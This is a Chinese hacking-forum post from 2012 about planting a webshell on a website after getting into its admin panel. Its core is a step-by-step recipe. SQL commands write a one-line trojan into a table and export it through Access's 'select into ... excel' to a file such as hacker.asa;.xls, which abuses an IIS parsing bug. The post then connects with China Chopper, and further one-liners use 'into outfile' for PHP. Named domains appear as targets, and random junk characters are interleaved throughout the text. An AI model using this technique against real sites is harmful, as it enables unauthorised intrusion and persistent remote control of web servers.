好不容易进了后台，发现啥上传啊。备份啊多木有。 | M8 \3 E0 v! }) }
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的+ e) h( q! L! \1 c8 g' H% c) v
文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，/ d) n. n0 K ^' z5 V
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
3 ^+ t# G3 Y# s) r1 _' \1.create table cmd (a varchar(50))
8 ~% L( y: y- [3 K3 ?% Y+ Q9 S2.insert into cmd (a) values (‘‘)
: v3 ~7 l3 h0 l7 \3 d0 d3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
/ G+ T( q4 c% `; [" s(把表cmd的内容导出为物理路径的一个EXCEL文件)" r: X8 e, J% T) g# |
4.drop table cmd8 X5 A" }3 \% T& B# ~3 }' \
利用IIS的BUG成功拿到了WEBSHELL。. i0 T4 p# d3 f3 Y" c' }* }: S
9 {3 d) O) J' I3 G2 R直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话' ~) }, t* U7 B+ c) |, O, y+ g
: u2 \; ]; T3 O3 x3 L) t2 o
SQL语句意思解释：
|) v2 N' Y$ E. { 第一句' W) Z) j) K! _" m
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
T7 b8 p/ T/ ^# o/ s3 b y
- L. X, h4 w3 Z/ o E$ C/ f) T# Q0 P 第二句
2 G2 U; e+ |' _* G% f7 S) _2 o 在表cmd的a字段插入一句话木马
0 R0 O% b* g/ ? 第三句2 c" B9 j) \6 s* k J
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件+ P8 V/ M. w* [6 O1 }0 ^
8 B9 Z1 D. r& k. i 第四句
) P. I7 r- [9 J% ?) ]7 q' m* C4 \ 删除建立的cmd表
; O3 r0 }: j& s+ U& X$ f8 ]' _
7 O& L9 \1 ^( ?) g. i1 g( r 以下内容为测试：& v( Q* x/ B& v2 Q1 A. D
Access利用后台SQL执行命令功能导出WebShell:( Q. Z! @( V6 `
这个更简单：0 C4 D: r/ V: t5 q
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]" b( q9 l+ S! b+ e& H) c
或者! y9 V; R9 F+ `3 L# Q
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]8 w% Z+ p. b+ z% c& \. c) r# A1 w2 r
3 F8 C2 m& w$ h2 [% \; N
后台有执行SQL语句功能(vote为已知表段) e' x& A. J# B! t9 ]! F
希望对大家有所帮助拿shell的又一个思路
. s8 R* w8 U1 y& c7 ^) V4 W4 s |
发表于 2012-9-13 17:53:58
收藏
支持
反对